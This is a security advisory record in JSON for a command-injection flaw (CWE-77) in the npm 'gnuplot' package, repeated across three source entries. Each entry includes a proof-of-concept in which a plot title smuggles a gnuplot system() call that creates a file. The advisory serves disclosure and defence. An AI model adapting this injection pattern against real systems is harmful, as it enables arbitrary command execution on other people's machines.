{"id":"GHSA-cfwc-xjfp-44jg","aliases":[],"status":"published","title":"Command Injection in gnuplot","description":"All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-77"],"published":"2020-09-04T17:19:48Z","modified":"2023-01-09T05:03:52Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"gnuplot","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.0"}]}]},{"source":"osv","ecosystem":"npm","package":"gnuplot","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}]}],"references":[{"url":"https://www.npmjs.com/advisories/1440","tags":["web"]},{"url":"https://github.com/advisories/GHSA-cfwc-xjfp-44jg"}],"sources":{"ghsa":[{"id":"GHSA-cfwc-xjfp-44jg","title":"Command Injection in gnuplot","description":"All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-09-04T17:19:48Z","modified":"2023-01-09T05:03:52Z","cwes":["CWE-77"],"updated_at":"2026-11-02T14:36:06.884904Z"}],"osv":[{"id":"GHSA-cfwc-xjfp-44jg","title":"Command Injection in gnuplot","description":"All versions of `gnuplot` are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a `testing` file in the current directory:\n\n```\nvar gnuplot = require('gnuplot');\n\nconst title = '\"\\nset title system(\"touch testing\")\\n#';\n\ngnuplot()\n.set('term png')\n.set('output \"out.png\"')\n.set(`title \"${title}\"`)\n.set('xrange [-10:10]')\n.set('yrange [-2:2]')\n.set('zeroaxis')\n.plot('(x/4)**2, sin(x), 1/x')\n.end();\n```\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","status":"published","published":"2020-09-04T17:19:48Z","modified":"2020-08-31T18:59:23Z","cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:44.927642Z"}]}}
